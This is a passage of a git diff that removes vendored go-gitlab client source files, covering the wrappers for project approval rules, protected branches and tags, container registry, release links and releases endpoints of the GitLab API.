(*ProjectApprovals, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/approvals", pathEscape(project)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - pa := new(ProjectApprovals) - resp, err := s.client.Do(req, pa) - if err != nil { - return nil, resp, err - } - - return pa, resp, err -} - -// GetProjectApprovalRules looks up the list of project level approvers. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/merge_request_approvals.html#get-project-level-rules -func (s *ProjectsService) GetProjectApprovalRules(pid interface{}, options ...RequestOptionFunc) ([]*ProjectApprovalRule, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/approval_rules", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - var par []*ProjectApprovalRule - resp, err := s.client.Do(req, &par) - if err != nil { - return nil, resp, err - } - - return par, resp, err -} - -// CreateProjectLevelRuleOptions represents the available CreateProjectApprovalRule() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/merge_request_approvals.html#create-project-level-rules -type CreateProjectLevelRuleOptions struct { - Name *string `url:"name,omitempty" json:"name,omitempty"` - ApprovalsRequired *int `url:"approvals_required,omitempty" json:"approvals_required,omitempty"` - UserIDs []int `url:"user_ids,omitempty" json:"user_ids,omitempty"` - GroupIDs []int `url:"group_ids,omitempty" json:"group_ids,omitempty"` - ProtectedBranchIDs []int `url:"protected_branch_ids,omitempty" json:"protected_branch_ids,omitempty"` -} - -// CreateProjectApprovalRule creates a new project-level approval rule. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/merge_request_approvals.html#create-project-level-rules -func (s *ProjectsService) CreateProjectApprovalRule(pid interface{}, opt *CreateProjectLevelRuleOptions, options ...RequestOptionFunc) (*ProjectApprovalRule, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/approval_rules", pathEscape(project)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - par := new(ProjectApprovalRule) - resp, err := s.client.Do(req, &par) - if err != nil { - return nil, resp, err - } - - return par, resp, err -} - -// UpdateProjectLevelRuleOptions represents the available UpdateProjectApprovalRule() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/merge_request_approvals.html#update-project-level-rules -type UpdateProjectLevelRuleOptions struct { - Name *string `url:"name,omitempty" json:"name,omitempty"` - ApprovalsRequired *int `url:"approvals_required,omitempty" json:"approvals_required,omitempty"` - UserIDs []int `url:"user_ids,omitempty" json:"user_ids,omitempty"` - GroupIDs []int `url:"group_ids,omitempty" json:"group_ids,omitempty"` - ProtectedBranchIDs []int `url:"protected_branch_ids,omitempty" json:"protected_branch_ids,omitempty"` -} - -// UpdateProjectApprovalRule updates an existing approval rule with new options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/merge_request_approvals.html#update-project-level-rules -func (s *ProjectsService) UpdateProjectApprovalRule(pid interface{}, approvalRule int, opt *UpdateProjectLevelRuleOptions, options ...RequestOptionFunc) (*ProjectApprovalRule, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/approval_rules/%d", pathEscape(project), approvalRule) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - par := new(ProjectApprovalRule) - resp, err := s.client.Do(req, &par) - if err != nil { - return nil, resp, err - } - - return par, resp, err -} - -// DeleteProjectApprovalRule deletes a project-level approval rule. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/merge_request_approvals.html#delete-project-level-rules -func (s *ProjectsService) DeleteProjectApprovalRule(pid interface{}, approvalRule int, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/approval_rules/%d", pathEscape(project), approvalRule) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// ChangeAllowedApproversOptions represents the available ChangeAllowedApprovers() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/merge_request_approvals.html#change-allowed-approvers -type ChangeAllowedApproversOptions struct { - ApproverIDs []int `url:"approver_ids,omitempty" json:"approver_ids,omitempty"` - ApproverGroupIDs []int `url:"approver_group_ids,omitempty" json:"approver_group_ids,omitempty"` -} - -// ChangeAllowedApprovers updates the list of approvers and approver groups. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/merge_request_approvals.html#change-allowed-approvers -func (s *ProjectsService) ChangeAllowedApprovers(pid interface{}, opt *ChangeAllowedApproversOptions, options ...RequestOptionFunc) (*ProjectApprovals, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/approvers", pathEscape(project)) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - pa := new(ProjectApprovals) - resp, err := s.client.Do(req, pa) - if err != nil { - return nil, resp, err - } - - return pa, resp, err -} - -// StartMirroringProject start the pull mirroring process for a project. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/projects.html#start-the-pull-mirroring-process-for-a-project-starter -func (s *ProjectsService) StartMirroringProject(pid interface{}, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/mirror/pull", pathEscape(project)) - - req, err := s.client.NewRequest("POST", u, nil, options) - if err != nil { - return nil, err - } - - resp, err := s.client.Do(req, nil) - if err != nil { - return resp, err - } - - return resp, err -} - -// TransferProjectOptions represents the available TransferProject() options. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/projects.html#transfer-a-project-to-a-new-namespace -type TransferProjectOptions struct { - Namespace interface{} `url:"namespace,omitempty" json:"namespace,omitempty"` -} - -// TransferProject transfer a project into the specified namespace -// -// GitLab API docs: https://docs.gitlab.com/ce/api/projects.html#transfer-a-project-to-a-new-namespace -func (s *ProjectsService) TransferProject(pid interface{}, opt *TransferProjectOptions, options ...RequestOptionFunc) (*Project, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/transfer", pathEscape(project)) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - p := new(Project) - resp, err := s.client.Do(req, p) - if err != nil { - return nil, resp, err - } - - return p, resp, err -} diff --git a/vendor/github.com/xanzy/go-gitlab/protected_branches.go b/vendor/github.com/xanzy/go-gitlab/protected_branches.go deleted file mode 100644 index 8c1fcff1f2..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/protected_branches.go +++ /dev/null @@ -1,213 +0,0 @@ -// -// Copyright 2017, Sander van Harmelen, Michael Lihs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "fmt" - "net/url" -) - -// ProtectedBranchesService handles communication with the protected branch -// related methods of the GitLab API. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/protected_branches.html#protected-branches-api -type ProtectedBranchesService struct { - client *Client -} - -// BranchAccessDescription represents the access description for a protected -// branch. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/protected_branches.html#protected-branches-api -type BranchAccessDescription struct { - AccessLevel AccessLevelValue `json:"access_level"` - UserID int `json:"user_id"` - GroupID int `json:"group_id"` - AccessLevelDescription string `json:"access_level_description"` -} - -// ProtectedBranch represents a protected branch. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/protected_branches.html#list-protected-branches -type ProtectedBranch struct { - ID int `json:"id"` - Name string `json:"name"` - PushAccessLevels []*BranchAccessDescription `json:"push_access_levels"` - MergeAccessLevels []*BranchAccessDescription `json:"merge_access_levels"` - UnprotectAccessLevels []*BranchAccessDescription `json:"unprotect_access_levels"` - CodeOwnerApprovalRequired bool `json:"code_owner_approval_required"` -} - -// ListProtectedBranchesOptions represents the available ListProtectedBranches() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/protected_branches.html#list-protected-branches -type ListProtectedBranchesOptions ListOptions - -// ListProtectedBranches gets a list of protected branches from a project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/protected_branches.html#list-protected-branches -func (s *ProtectedBranchesService) ListProtectedBranches(pid interface{}, opt *ListProtectedBranchesOptions, options ...RequestOptionFunc) ([]*ProtectedBranch, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/protected_branches", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var p []*ProtectedBranch - resp, err := s.client.Do(req, &p) - if err != nil { - return nil, resp, err - } - - return p, resp, err -} - -// GetProtectedBranch gets a single protected branch or wildcard protected branch. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/protected_branches.html#get-a-single-protected-branch-or-wildcard-protected-branch -func (s *ProtectedBranchesService) GetProtectedBranch(pid interface{}, branch string, options ...RequestOptionFunc) (*ProtectedBranch, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/protected_branches/%s", pathEscape(project), url.PathEscape(branch)) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - p := new(ProtectedBranch) - resp, err := s.client.Do(req, p) - if err != nil { - return nil, resp, err - } - - return p, resp, err -} - -// ProtectRepositoryBranchesOptions represents the available -// ProtectRepositoryBranches() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/protected_branches.html#protect-repository-branches -type ProtectRepositoryBranchesOptions struct { - Name *string `url:"name,omitempty" json:"name,omitempty"` - PushAccessLevel *AccessLevelValue `url:"push_access_level,omitempty" json:"push_access_level,omitempty"` - MergeAccessLevel *AccessLevelValue `url:"merge_access_level,omitempty" json:"merge_access_level,omitempty"` - UnprotectAccessLevel *AccessLevelValue `url:"unprotect_access_level,omitempty" json:"unprotect_access_level,omitempty"` - AllowedToPush []*ProtectBranchPermissionOptions `url:"allowed_to_push,omitempty" json:"allowed_to_push,omitempty"` - AllowedToMerge []*ProtectBranchPermissionOptions `url:"allowed_to_merge,omitempty" json:"allowed_to_merge,omitempty"` - AllowedToUnprotect []*ProtectBranchPermissionOptions `url:"allowed_to_unprotect,omitempty" json:"allowed_to_unprotect,omitempty"` - CodeOwnerApprovalRequired *bool `url:"code_owner_approval_required,omitempty" json:"code_owner_approval_required,omitempty"` -} - -// ProtectBranchPermissionOptions represents a branch permission option. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/protected_branches.html#protect-repository-branches -type ProtectBranchPermissionOptions struct { - UserID *int `url:"user_id,omitempty" json:"user_id,omitempty"` - GroupID *int `url:"group_id,omitempty" json:"group_id,omitempty"` - AccessLevel *AccessLevelValue `url:"access_level,omitempty" json:"access_level,omitempty"` -} - -// ProtectRepositoryBranches protects a single repository branch or several -// project repository branches using a wildcard protected branch. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/protected_branches.html#protect-repository-branches -func (s *ProtectedBranchesService) ProtectRepositoryBranches(pid interface{}, opt *ProtectRepositoryBranchesOptions, options ...RequestOptionFunc) (*ProtectedBranch, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/protected_branches", pathEscape(project)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - p := new(ProtectedBranch) - resp, err := s.client.Do(req, p) - if err != nil { - return nil, resp, err - } - - return p, resp, err -} - -// UnprotectRepositoryBranches unprotects the given protected branch or wildcard -// protected branch. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/protected_branches.html#unprotect-repository-branches -func (s *ProtectedBranchesService) UnprotectRepositoryBranches(pid interface{}, branch string, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/protected_branches/%s", pathEscape(project), url.PathEscape(branch)) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// RequireCodeOwnerApprovalsOptions represents the available -// RequireCodeOwnerApprovals() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/protected_branches.html#require-code-owner-approvals-for-a-single-branch -type RequireCodeOwnerApprovalsOptions struct { - CodeOwnerApprovalRequired *bool `url:"code_owner_approval_required,omitempty" json:"code_owner_approval_required,omitempty"` -} - -// RequireCodeOwnerApprovals updates the code owner approval. -// -// Gitlab API docs: -// https://docs.gitlab.com/ee/api/protected_branches.html#require-code-owner-approvals-for-a-single-branch -func (s *ProtectedBranchesService) RequireCodeOwnerApprovals(pid interface{}, branch string, opt *RequireCodeOwnerApprovalsOptions, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/protected_branches/%s", pathEscape(project), url.PathEscape(branch)) - - req, err := s.client.NewRequest("PATCH", u, opt, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} diff --git a/vendor/github.com/xanzy/go-gitlab/protected_tags.go b/vendor/github.com/xanzy/go-gitlab/protected_tags.go deleted file mode 100644 index 10957af53d..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/protected_tags.go +++ /dev/null @@ -1,145 +0,0 @@ -package gitlab - -import ( - "fmt" -) - -// ProtectedTagsService handles communication with the protected tag methods -// of the GitLab API. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/protected_tags.html -type ProtectedTagsService struct { - client *Client -} - -// ProtectedTag represents a protected tag. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/protected_tags.html -type ProtectedTag struct { - Name string `json:"name"` - CreateAccessLevels []*TagAccessDescription `json:"create_access_levels"` -} - -// TagAccessDescription reperesents the access decription for a protected tag. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/protected_tags.html -type TagAccessDescription struct { - AccessLevel AccessLevelValue `json:"access_level"` - AccessLevelDescription string `json:"access_level_description"` -} - -// ListProtectedTagsOptions represents the available ListProtectedTags() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/protected_tags.html#list-protected-tags -type ListProtectedTagsOptions ListOptions - -// ListProtectedTags returns a list of protected tags from a project. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/protected_tags.html#list-protected-tags -func (s *ProtectedTagsService) ListProtectedTags(pid interface{}, opt *ListProtectedTagsOptions, options ...RequestOptionFunc) ([]*ProtectedTag, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/protected_tags", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var pts []*ProtectedTag - resp, err := s.client.Do(req, &pts) - if err != nil { - return nil, resp, err - } - - return pts, resp, err -} - -// GetProtectedTag returns a single protected tag or wildcard protected tag. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/protected_tags.html#get-a-single-protected-tag-or-wildcard-protected-tag -func (s *ProtectedTagsService) GetProtectedTag(pid interface{}, tag string, options ...RequestOptionFunc) (*ProtectedTag, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/protected_tags/%s", pathEscape(project), pathEscape(tag)) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - pt := new(ProtectedTag) - resp, err := s.client.Do(req, pt) - if err != nil { - return nil, resp, err - } - - return pt, resp, err -} - -// ProtectRepositoryTagsOptions represents the available ProtectRepositoryTags() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/protected_tags.html#protect-repository-tags -type ProtectRepositoryTagsOptions struct { - Name *string `url:"name" json:"name"` - CreateAccessLevel *AccessLevelValue `url:"create_access_level,omitempty" json:"create_access_level,omitempty"` -} - -// ProtectRepositoryTags protects a single repository tag or several project -// repository tags using a wildcard protected tag. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/protected_tags.html#protect-repository-tags -func (s *ProtectedTagsService) ProtectRepositoryTags(pid interface{}, opt *ProtectRepositoryTagsOptions, options ...RequestOptionFunc) (*ProtectedTag, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/protected_tags", pathEscape(project)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - pt := new(ProtectedTag) - resp, err := s.client.Do(req, pt) - if err != nil { - return nil, resp, err - } - - return pt, resp, err -} - -// UnprotectRepositoryTags unprotects the given protected tag or wildcard -// protected tag. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/protected_tags.html#unprotect-repository-tags -func (s *ProtectedTagsService) UnprotectRepositoryTags(pid interface{}, tag string, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/protected_tags/%s", pathEscape(project), pathEscape(tag)) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} diff --git a/vendor/github.com/xanzy/go-gitlab/registry.go b/vendor/github.com/xanzy/go-gitlab/registry.go deleted file mode 100644 index 57f4575001..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/registry.go +++ /dev/null @@ -1,219 +0,0 @@ -package gitlab - -import ( - "fmt" - "time" -) - -// ContainerRegistryService handles communication with the container registry -// related methods of the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/container_registry.html -type ContainerRegistryService struct { - client *Client -} - -// RegistryRepository represents a GitLab content registry repository. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/container_registry.html -type RegistryRepository struct { - ID int `json:"id"` - Name string `json:"name"` - Path string `json:"path"` - Location string `json:"location"` - CreatedAt *time.Time `json:"created_at"` -} - -func (s RegistryRepository) String() string { - return Stringify(s) -} - -// RegistryRepositoryTag represents a GitLab registry image tag. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/container_registry.html -type RegistryRepositoryTag struct { - Name string `json:"name"` - Path string `json:"path"` - Location string `json:"location"` - Revision string `json:"revision"` - ShortRevision string `json:"short_revision"` - Digest string `json:"digest"` - CreatedAt *time.Time `json:"created_at"` - TotalSize int `json:"total_size"` -} - -func (s RegistryRepositoryTag) String() string { - return Stringify(s) -} - -// ListRegistryRepositoriesOptions represents the available -// ListRegistryRepositories() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/container_registry.html#list-registry-repositories -type ListRegistryRepositoriesOptions ListOptions - -// ListRegistryRepositories gets a list of registry repositories in a project. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/container_registry.html#list-registry-repositories -func (s *ContainerRegistryService) ListRegistryRepositories(pid interface{}, opt *ListRegistryRepositoriesOptions, options ...RequestOptionFunc) ([]*RegistryRepository, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/registry/repositories", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var repos []*RegistryRepository - resp, err := s.client.Do(req, &repos) - if err != nil { - return nil, resp, err - } - - return repos, resp, err -} - -// DeleteRegistryRepository deletes a repository in a registry. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/container_registry.html#delete-registry-repository -func (s *ContainerRegistryService) DeleteRegistryRepository(pid interface{}, repository int, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/registry/repositories/%d", pathEscape(project), repository) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// ListRegistryRepositoryTagsOptions represents the available -// ListRegistryRepositoryTags() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/container_registry.html#list-repository-tags -type ListRegistryRepositoryTagsOptions ListOptions - -// ListRegistryRepositoryTags gets a list of tags for given registry repository. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/container_registry.html#list-repository-tags -func (s *ContainerRegistryService) ListRegistryRepositoryTags(pid interface{}, repository int, opt *ListRegistryRepositoryTagsOptions, options ...RequestOptionFunc) ([]*RegistryRepositoryTag, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/registry/repositories/%d/tags", - pathEscape(project), - repository, - ) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var tags []*RegistryRepositoryTag - resp, err := s.client.Do(req, &tags) - if err != nil { - return nil, resp, err - } - - return tags, resp, err -} - -// GetRegistryRepositoryTagDetail get details of a registry repository tag -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/container_registry.html#get-details-of-a-repository-tag -func (s *ContainerRegistryService) GetRegistryRepositoryTagDetail(pid interface{}, repository int, tagName string, options ...RequestOptionFunc) (*RegistryRepositoryTag, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/registry/repositories/%d/tags/%s", - pathEscape(project), - repository, - tagName, - ) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - tag := new(RegistryRepositoryTag) - resp, err := s.client.Do(req, &tag) - if err != nil { - return nil, resp, err - } - - return tag, resp, err -} - -// DeleteRegistryRepositoryTag deletes a registry repository tag. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/container_registry.html#delete-a-repository-tag -func (s *ContainerRegistryService) DeleteRegistryRepositoryTag(pid interface{}, repository int, tagName string, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/registry/repositories/%d/tags/%s", - pathEscape(project), - repository, - tagName, - ) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// DeleteRegistryRepositoryTagsOptions represents the available -// DeleteRegistryRepositoryTags() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/container_registry.html#delete-repository-tags-in-bulk -type DeleteRegistryRepositoryTagsOptions struct { - NameRegexp *string `url:"name_regex,omitempty" json:"name_regex,omitempty"` - KeepN *int `url:"keep_n,omitempty" json:"keep_n,omitempty"` - OlderThan *string `url:"older_than,omitempty" json:"older_than,omitempty"` -} - -// DeleteRegistryRepositoryTags deletes repository tags in bulk based on -// given criteria. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/container_registry.html#delete-repository-tags-in-bulk -func (s *ContainerRegistryService) DeleteRegistryRepositoryTags(pid interface{}, repository int, opt *DeleteRegistryRepositoryTagsOptions, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/registry/repositories/%d/tags", - pathEscape(project), - repository, - ) - - req, err := s.client.NewRequest("DELETE", u, opt, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} diff --git a/vendor/github.com/xanzy/go-gitlab/releaselinks.go b/vendor/github.com/xanzy/go-gitlab/releaselinks.go deleted file mode 100644 index 04daaa8686..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/releaselinks.go +++ /dev/null @@ -1,176 +0,0 @@ -package gitlab - -import ( - "fmt" -) - -// ReleaseLinksService handles communication with the release link methods -// of the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/releases/links.html -type ReleaseLinksService struct { - client *Client -} - -// ReleaseLink represents a release link. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/releases/links.html -type ReleaseLink struct { - ID int `json:"id"` - Name string `json:"name"` - URL string `json:"url"` - External bool `json:"external"` -} - -// ListReleaseLinksOptions represents ListReleaseLinks() options. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/releases/links.html#get-links -type ListReleaseLinksOptions ListOptions - -// ListReleaseLinks gets assets as links from a Release. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/releases/links.html#get-links -func (s *ReleaseLinksService) ListReleaseLinks(pid interface{}, tagName string, opt *ListReleaseLinksOptions, options ...RequestOptionFunc) ([]*ReleaseLink, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/releases/%s/assets/links", pathEscape(project), tagName) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var rls []*ReleaseLink - resp, err := s.client.Do(req, &rls) - if err != nil { - return nil, resp, err - } - - return rls, resp, err -} - -// GetReleaseLink returns a link from release assets. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/releases/links.html#get-a-link -func (s *ReleaseLinksService) GetReleaseLink(pid interface{}, tagName string, link int, options ...RequestOptionFunc) (*ReleaseLink, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/releases/%s/assets/links/%d", - pathEscape(project), - tagName, - link) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - rl := new(ReleaseLink) - resp, err := s.client.Do(req, rl) - if err != nil { - return nil, resp, err - } - - return rl, resp, err -} - -// CreateReleaseLinkOptions represents CreateReleaseLink() options. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/releases/links.html#create-a-link -type CreateReleaseLinkOptions struct { - Name *string `url:"name" json:"name"` - URL *string `url:"url" json:"url"` -} - -// CreateReleaseLink creates a link. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/releases/links.html#create-a-link -func (s *ReleaseLinksService) CreateReleaseLink(pid interface{}, tagName string, opt *CreateReleaseLinkOptions, options ...RequestOptionFunc) (*ReleaseLink, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/releases/%s/assets/links", pathEscape(project), tagName) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - rl := new(ReleaseLink) - resp, err := s.client.Do(req, rl) - if err != nil { - return nil, resp, err - } - - return rl, resp, err -} - -// UpdateReleaseLinkOptions represents UpdateReleaseLink() options. -// -// You have to specify at least one of Name of URL. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/releases/links.html#update-a-link -type UpdateReleaseLinkOptions struct { - Name *string `url:"name,omitempty" json:"name,omitempty"` - URL *string `url:"url,omitempty" json:"url,omitempty"` -} - -// UpdateReleaseLink updates an asset link. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/releases/links.html#update-a-link -func (s *ReleaseLinksService) UpdateReleaseLink(pid interface{}, tagName string, link int, opt *UpdateReleaseLinkOptions, options ...RequestOptionFunc) (*ReleaseLink, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/releases/%s/assets/links/%d", - pathEscape(project), - tagName, - link) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - rl := new(ReleaseLink) - resp, err := s.client.Do(req, rl) - if err != nil { - return nil, resp, err - } - - return rl, resp, err -} - -// DeleteReleaseLink deletes a link from release. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/releases/links.html#delete-a-link -func (s *ReleaseLinksService) DeleteReleaseLink(pid interface{}, tagName string, link int, options ...RequestOptionFunc) (*ReleaseLink, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/releases/%s/assets/links/%d", - pathEscape(project), - tagName, - link, - ) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, nil, err - } - - rl := new(ReleaseLink) - resp, err := s.client.Do(req, rl) - if err != nil { - return nil, resp, err - } - - return rl, resp, err -} diff --git a/vendor/github.com/xanzy/go-gitlab/releases.go b/vendor/github.com/xanzy/go-gitlab/releases.go deleted file mode 100644 index 39df844c80..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/releases.go +++ /dev/null @@ -1,212 +0,0 @@ -package gitlab - -import ( - "fmt" - "time" -) - -// ReleasesService handles communication with the releases methods -// of the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/releases/index.html -type ReleasesService struct { - client *Client -} - -// Release represents a project release. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/releases/index.html#list-releases -type Release struct { - TagName string `json:"tag_name"` - Name string `json:"name"` - Description string `json:"description,omitempty"` - DescriptionHTML string `json:"description_html,omitempty"` - CreatedAt *time.Time `json:"created_at,omitempty"` - Author struct { - ID int `json:"id"` - Name string `json:"name"` - Username string `json:"username"` - State string `json:"state"` - AvatarURL string `json:"avatar_url"` - WebURL string `json:"web_url"` - } `json:"author"` - Commit Commit `json:"commit"` - Assets struct { - Count int `json:"count"` - Sources []struct { - Format string `json:"format"` - URL string `json:"url"` - } `json:"sources"` - Links []*ReleaseLink `json:"links"` - } `json:"assets"` -} - -// ListReleasesOptions represents ListReleases() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/releases/index.html#list-releases -type ListReleasesOptions ListOptions - -// ListReleases gets a pagenated of releases accessible by the authenticated user. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/releases/index.html#list-releases -func (s *ReleasesService) ListReleases(pid interface{}, opt *ListReleasesOptions, options ...RequestOptionFunc) 